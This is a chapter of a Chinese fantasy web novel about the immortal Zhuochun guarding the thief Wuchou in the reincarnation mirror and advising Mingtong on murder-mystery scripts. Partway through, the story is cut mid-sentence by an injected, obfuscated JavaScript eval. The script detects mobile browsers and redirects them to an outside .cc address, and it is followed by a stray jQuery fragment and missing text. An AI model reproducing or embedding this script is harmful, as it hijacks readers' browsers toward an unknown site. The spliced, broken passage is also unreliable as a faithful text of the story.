灼春提个竹水筒漫无目的地在相睦会里闲逛，为了丢开一切纷扰，还特意避开了人多的路。只不过，饶是她如此精心准备，散步的时候还是忍不住想起轮回镜中的某个大坏蛋。


    无俦再怎么说也只是个未得道的修仙者，进入轮回镜后仍保有自己的意识，与记忆全无的仙者不同。


    虽然她想办法让无俦以为自己回到了过去，但……不是百分百安全。自己不在现场观察调整，对方会不会察觉什么，然后逃跑啊？


    光是逃跑也就罢了，如果引发一些自己没顾虑到的不好的事，那她背得起这个责任吗……


    可是，轮回镜好歹是神器，不至于……再说她和轮回镜有联结，万一真有异样，自己会知道，赶回去制止也……


    但那可是无俦，盖天下有名的贼头！——谁知道是不是观衅伺隙、谋而后动呢？


    ——嘁！跑就跑了！


    不过区区一个小贼，她家百捷转眼就抓回来了！


    如果真又惹出什么幺蛾子倒也好，数罪并罚，直接一个大写的死罪！慎刑殿那边不是正愁老大不给通过死罪的提案么？说不准这么一闹，啪！死罪批下来了！功在当代，利在千秋！


    就是就是，不管她，顺其自然吧……


    想是这么想，但灼春在走到下个路口前，仍不由自主地调转了脚步。


    “真不知道自己干这份活图个啥，干好了又不多给钱多给假的……”


    唾弃着自己没用的责任心，灼春拐过墙角——


    嘭！


    撞在树干上，扑簌簌落下满天落叶花枝。


    灼春连连后退，一手捂住撞疼的额头，一手掸开满头满肩的叶子堆枯枝杈。


    奇了怪了，怎么突然多出一棵桃树？明明刚刚走过去的时候还没有……


    她往边上走了两步打算从略远处打量打量，却见桃树那边落英缤纷，整朵整朵的桃花轻如羽毛，在半空中打着旋儿飘落，金灿灿的阳光斜照，映出几个七彩的晕轮；光与花交错之下，一丰满女子嫣然一笑款款走来——


    “灼春执司，许久未见。”


    “你……”灼春看呆了，“大扶疏，你该不是为了营造氛围，特意抱了棵盆栽在这堵我呢吧？？”


    她指着桃树底下的陶土盆，不敢置信，心道这树活得真憋屈，这么点个盆盆，不得把根裹坏啊？


    扶疏侧开眼神拍拍桃树，但笑不语。


    其实……


    她还控制了花落的速度和密度来着……


    灼春：“……”两个扶疏某些时候还是挺像的。


    不过从别的方面来说，或许是件好事，至少大扶疏恢复精神，没之前那么失魂落魄了——就是对她被撞的额头不太友好。


    灼春揉了揉痛处，随口寒暄着问对方怎么来相睦会了。


    “总不可能是东家自己出来送外卖吧？”


    扶疏叹气：“没有食材，别说外卖，堂食都没得了。”


    “啊？”


    于是从大扶疏的解释中，灼春知道了她此行的原因。


    多味楼为了保证食材优质，在偏远的边城都设有自己的食材基地，由专人照料运输。然而前不久，不知从哪里冒出了大批灾怪，毁坏了基地，严重影响多味楼的经营。大扶疏从附近的菜农手里紧急调货，然而品质实在不达标，这样做出的菜品只会砸她的手艺，不如不做。


    “……靠着仅有的部分未受损基地的食材，多味楼目前还能勉强支撑，但若不及时补救，没过几日就不得不歇业了。”开店不易，扶疏叹气。


    “哦……那你应该找斗武殿和慎刑殿，或者直接找英理事长统筹。”


    灼春没创过业，共情不了对方此刻的情绪。


    嗐，和她偶仙没甚关系，应该只是误会，大扶疏不是来堵她的。


    吓死她了，还以为大扶疏有什么难事要她解决，才大费周章地堵她来了呢……


    扶疏：“慎刑殿我已经去过了，夏掌刑说她会尽快处理安排。”


    “噢噢……那没事了？那我们就……”


    灼春正要挥手告别，扶疏突然叫住她。


    “偶仙呐，其实我找你也有点事……”扶疏不好意思地笑笑。


    “嗯？”


    扶疏吞吞吐吐：“就是……我有个朋友在你这边，我想看看她……”


    “我这边？”灼春想了想自己手下仅有的两个人，首先排除小麻，那孩子没什么人脉，“你是说小程吗？——唉，你不知道啊？前段时间她离职了，去哪儿了我也不清楚。”


    “啊？——呃，不是她……我找的是……是你轮回镜里的那个……”


    轮回镜里？


    灼春挠头。


    最近没什么仙者历劫啊，现在轮回镜里的就一个大恶——该不是说无俦吧？


    她猛地想起，对喽，大扶疏和贼子无俦似乎是发小来着！


    灼春当下警铃大作：“你说贼——无俦啊？你怎么知道她在我这？”


    扶疏：“鸣——兽医仙告诉我的，她还说林鸿排了个本子，能帮无俦认清错误改邪归正呢！”


    “大漏勺……”灼春嘟囔。


    想起曾经的挚友，扶疏神色落寞：“尽管我和无俦后来背道而驰，但是活到现在，我想没有人比我更了解她，无俦她其实不是全然冷血的——所以我想请偶仙答应我这不情之请，让我探望无——”


    “——喂？哎！啊？这么急吗？好好好我这就来！”


    灼春蓦地抬手贴在耳边，隐约有法阵光晕，仿佛收到了什么讯息似的。


    灼春：“哎呦不好意思，鸣桐找我有急事，我得过去一趟，有什么话等之后再说吧！”


    扶疏懵：“可是除了今天，别的时间我都有事……”


    “——唉唉唉？我在跑了在跑了！别催别催！这就来！”灼春手贴着耳，边回应边跑路，连跟大扶疏说再见的空隙都没。


    扶疏手僵在空中，说不出话。


    “鸣桐！避个难！”


    灼春闯进生灵殿后当即反身关紧大门。


    殿上首，鸣桐在一群小兽簇拥中抬起头，诧异问她避什么难。


    “大扶疏。”


    灼春娴熟地挑了个座儿坐下，托着下巴敲手指。


    “她？”鸣桐不解，“你怎么惹她了？大扶疏脾气那么好……莫不成你去多味楼吃霸王餐了？不对不对……就算你吃霸王餐，大扶疏也不会气到追你……难道是因为食材供应断了所以转性了？……”


    “别瞎猜了！我哪是吃霸王餐的那种人！”灼春努努嘴，“说起来还是你的错！你个大漏勺！干嘛告诉她无俦在轮回镜里的事啊！尽给我添乱！”


    鸣桐没想到与自己有关，闻言怔了怔。


    “这还需要保密吗？怎么，大扶疏来‘劫狱’了？”


    “幸好我机灵！在她要‘劫狱’之前就溜了！”


    灼春把遇到大扶疏的经过说了一遍，鸣桐听完轻笑。


    她当怎么了，不过是大扶疏花了点心思与灼春碰面而已。


    鸣桐笑言：“也许人家只是有创意了些，没想那么多。无俦作恶多端，有目共睹，大扶疏又不是不明事理的人，怎么会为她说项呢？”


    “那是我警醒，防患于未然，所以大扶疏才没找到机会为坏人说话！”灼春撇嘴，“感情这东西啊，最易使人盲目护短！大扶疏和那无俦可是发小！那感情还用说？不是盛传，当初两人背道而驰，无俦把大扶疏打断腿了吗？腿都断了，大扶疏还狠不下心对立呢！我看以这份感情，就算大扶疏被无俦捅死，她都会微笑说一句‘我原谅你’哩！”


    鸣桐叹气：“也不能这么说，那时候的情况很复杂，不是简单一句感情因素能概括的……大扶疏会为大局考虑的。”


    灼春轻哼，不以为然。


    她用自己举例：“呐，比方说我和百捷，如果百捷误入歧途被抓，我一定坐立难安，说不定一个冲动就跑去捞人；反之换我迷而不返，百捷绝对绝对二话不说就来救我，没准还弃明投暗跟我站一块对抗全世界呢！——同样是总角之交的情谊，大扶疏当如何？”


    鸣桐笑了：“幸好你俩不会走歪。”


    “罢了，我从后门溜了。知道被人惦记着，无俦一个人在轮回镜里我还真不放心！”


    灼春摆手，要往后门走。


    鸣桐猛地喊住她，说要问她几件事拿拿主意。


    灼春说了句“长话短问”就收回脚步。


    重新走回去，她才看到鸣桐桌案上还有厚厚几摞文书，鸣桐本人正拿着笔似乎要写些什么。因为大大小小的动物们围成几圈挡住了视野，所以先前灼春才没看到。


    灼春：“你这是在？”


    鸣桐捏起自己面前才写一半的纸张抖落两下，叹气：“吉吾找我一起做个剧本杀项目，我负责写剧本，但是关于一些情节我想不出该有的反应，想问问你。”


    灼春被奇怪笑了：“你写的人物你不知道怎么写下去？你都不知道我能知道什么！”


    鸣桐支支吾吾着说：“因为不是我想的人物啊……吉吾给了剧本的躯干和枝丫，我只要把逻辑连起来，修饰文字，添上叶子，所以会卡顿……”


    她没说的是，这些剧本都是吉吾搜罗起来的渡劫模板，而所有文案的目标人物都是灼春。所以灼春真实的反应很重要，可她很难想象假使灼春真套进模板会有什么行动。


    搞不清这一点，她就很难让剧本杀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098902|160893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里的死者正确逝世啊。


    “……”灼春眯着眼，捏起下巴，“那之后你们赚到钱了能分我点不？”


    “！！”


    鸣桐不假思索地点头：“当然可以！”


    “那还等啥？快开始吧！我还要赶回去看着轮回镜呢！”灼春打了个不响的响指，催促鸣桐。


    “噢噢……”


    鸣桐依次给灼春概括不同剧本的内容，然后把自己的疑问点抛出，譬如“参加前夫的婚礼会怎么表现来艳压新娘”、“刚生产完发现情敌在偷偷调换自己和她的孩子会当作没看见还是偷摸换回来”、“自己的好运被身边的假朋友窃取后是选择原谅还是不作为”……


    灼春听得脸皱成“米”字。


    “不是……现在能挣到钱的都是这种故事了吗？吉吾都哪儿来的奇怪审美啊……嚯，还真是钱难挣，屎难吃。”


    “唔……先别管那个，你先把自己代入，然后说说你会怎么做。”


    鸣桐让她不要在意细节直接选择，但是灼春皱着脸捏着嘴抱着胳膊努力代入自己……仍觉得自己不会做出那些窝囊无用的抉择。


    灼春苦着脸说：“我认真想了，如果是我，你手中的剧本完全推不下去。比如说——都前夫了我还理他我贱吗？都站在孩子掉包事发现场了还不给那小人一嘴巴子？！自己的东西被偷了当让是要对方连本带利还回来啊！”


    鸣桐：“……”


    鸣桐扶额：“不要想得那么现实……你就把自己当成剧本里的人，按剧本中的设定来做抉择——就像到轮回镜渡劫一样，是全新的人生。”


    灼春慢悠悠地左右摇头：“那就更不可能了。以我的性格，就算这些是我的历劫模板，估计只会卡死在成长阶段。历劫模板是需要因人而异的，尤其是细节太多的时候。细节越多，越容易被打破预想，原先设置的模板就不中用了。”


    鸣桐不解：“怎么会呢？司劫不就是控制轮回镜内故事的发展吗？”


    “你也说是‘故事’的发展了。”灼春说，“虽说仙者进入轮回镜等同重生，但是灵魂内核不会变，就算面对相同的遭遇都可能会做出不同的抉择，而不同选择形成的经历又反过来凝实仙者的灵魂内核。司劫只是改变她身边的环境，引导她往某个方向走，并不能完全控制个人，尤其是感情。”


    鸣桐顺着她的意思想：“也就是说，如果同样是挨打，内核是反抗的人就会还手，内核是顺从的人就会忍受，哪怕她们是同样的生长环境。而且，因为内核不同，即使是同样的生长环境，反抗者的体验基调是叛逆，顺从者的体验基调是屈从，此后人生他们也会重复自己习惯的基调？”


    “对！”灼春比了个对钩手势，“我作为偶仙，在司劫时还有一项特权，使轮回镜内仙者错误定义自己的感情，比如把紧张造成的心悸误认为是坠入爱河的心动，把恐惧造成的颤抖误认为是遇到势均力敌对手的兴奋。不过就这一项特权就比其他仙者司劫要好很多啦，能微定义仙者感情，令渡劫仙者历劫方便多了。”


    “哦……确实是个不错的特权……”


    鸣桐忍不住回忆自己替人司劫的时候都展现过什么特权。


    她有吗？没发现啊？


    “这个特权是天道告诉你的？”


    “不啊，轮回镜内的法则规律都是我自己琢磨出来的。”


    灼春把话茬转回来：“所以啊，就算在轮回镜里那么受约束，都不可能完全改变一个人，你这虚构的剧本就更没法代入嘛！我看你还是和吉吾商量商量换些故事，或者放弃逻辑草率地编一个死因吧！”


    说完，灼春就告辞从后门溜了。


    鸣桐拿着被否决的剧本看，脑子里却不由自主地不断回响着灼春刚刚说过的话。


    偶仙特权，可以让轮回镜里的仙者错误定义自己的感情……


    可她并没说是渡劫仙者？如果这是不必要加的前缀，那么为什么后面又特意提了“渡劫仙者”这个定义呢？


    唔……轮回镜内一次只能令一位仙者历劫，这众所周知啊……


    鸣桐托着下巴，一边思考一边看殿内十几只小兽们绕着大殿赛跑。


    跑得最快的是银狼，甚至快过最慢的狗崽一圈，乍一看还以为跑在中等水平那一堆呢。


    ——速度！


    鸣桐忽然想到能在轮回镜里留下痕迹的只有仙者，而，仙者渡劫时接触到的人物不可能是凭空捏造的……莫非都是不同时代来镜内渡劫的仙者吗？


    鸣桐被自己的大胆猜想吓了一跳，可是又觉得这样才合理。


    否则，需要渡劫仙者以外的人误会自己的感情来推动情节时，灼春怎么办呢？只有其他人也是仙者，才能动用偶仙特权啊。